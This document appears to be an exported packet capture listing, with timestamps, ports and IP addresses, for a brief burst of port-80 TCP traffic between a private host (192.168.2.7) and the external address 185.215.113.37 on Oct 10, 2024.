Oct 10, 2024 10:09:52.265728951 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265741110 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265741110 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265742064 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265741110 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265753031 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265768051 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265775919 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265785933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265785933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265816927 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265829086 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265841961 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265852928 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265855074 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265855074 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265855074 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265866041 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265878916 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265886068 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265886068 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265892029 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265907049 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265908003 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265924931 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.265925884 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265964985 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.265964985 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268507004 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268516064 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268529892 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268570900 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268579960 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268620014 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268621922 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268635035 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268639088 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268661976 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268706083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268714905 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268728018 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268742085 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268742085 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268748999 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268759966 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268779993 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268802881 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268805981 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268805981 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268805981 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268819094 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268834114 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268861055 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268893957 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268893957 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268906116 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268935919 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268948078 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268968105 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268975019 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268980980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268980980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.268986940 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.268997908 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269020081 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269027948 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269038916 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269043922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269063950 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269063950 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269082069 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269085884 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269098043 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269115925 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269130945 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269134998 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269150972 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269161940 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269161940 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269161940 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269171953 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269187927 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269190073 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269200087 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269202948 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269222975 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269232988 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269234896 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269252062 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269263029 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269263029 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269284010 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269299030 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269299030 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269311905 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.269340038 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.269388914 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283090115 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283138037 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283229113 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283237934 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283350945 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283365011 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283373117 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283373117 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283373117 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283373117 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283375025 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283410072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283410072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283413887 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283421040 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283427954 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283442020 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283457994 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283458948 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283483028 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283498049 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283499002 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283499002 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283499002 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283515930 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283529043 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283529997 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283540010 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283554077 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283562899 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283571959 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283571959 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283571959 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283579111 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283591032 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283606052 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.283639908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283639908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.283639908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.352966070 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.352986097 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353009939 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353023052 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353040934 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353040934 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353044033 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353060961 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353075981 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353087902 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353106022 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353106022 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353107929 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353123903 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353126049 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353143930 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353163004 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353179932 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353182077 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353182077 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353190899 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353207111 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353216887 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353244066 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353247881 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353247881 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353247881 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353255987 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353271008 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353280067 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353290081 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353303909 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353316069 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353323936 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353327990 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353341103 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353341103 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353346109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353365898 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353377104 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353396893 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353406906 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353416920 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353416920 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353416920 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353423119 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353434086 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353450060 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353460073 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353475094 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353488922 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353488922 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353488922 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353497982 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353516102 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353529930 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353529930 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353539944 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353555918 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353566885 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353585005 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353585005 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353594065 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353605986 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353616953 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353621960 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353622913 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353630066 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353652954 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353656054 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353656054 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353665113 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353679895 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353688002 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353691101 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353693962 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353720903 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353722095 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353722095 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353739023 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353750944 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353755951 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353760958 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353784084 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353804111 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353806019 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353806019 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353815079 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353827953 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353832006 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353846073 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353854895 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353868008 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353888035 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353888035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353888035 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353899956 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353909969 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353923082 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353944063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353944063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353944063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353949070 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353960037 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353971958 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.353976011 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.353991032 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354001045 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354012012 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354022026 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354033947 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354051113 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354051113 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354051113 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354057074 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354074955 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354075909 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354087114 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354091883 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354108095 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354118109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354130030 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354139090 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354151964 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354152918 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354152918 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354152918 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354172945 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354182005 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354196072 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354196072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354196072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354206085 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354218960 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354228020 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354242086 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354254961 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354254961 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354254961 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354264975 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354279995 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354290009 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354290009 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354295015 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.354307890 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.354415894 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.370922089 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.370959044 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.370973110 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.370994091 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371032000 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371032000 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371032000 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371093988 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371107101 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371123075 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371134043 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371145964 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371151924 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371169090 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371167898 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371169090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371196985 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371207952 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371212006 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371212006 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371227026 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371237040 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371259928 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371268034 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371268034 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371268034 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371273041 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371290922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371292114 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371308088 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371308088 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371309042 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371325970 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371335983 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371351957 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371351957 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371359110 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371371031 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.371401072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371401072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371401072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.371427059 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.440431118 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440479040 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440490961 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440495014 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.440506935 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440531969 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440557003 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:52.440557003 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:52.440557003 CEST	49700	80	192.168.2.7	185.215.113.37
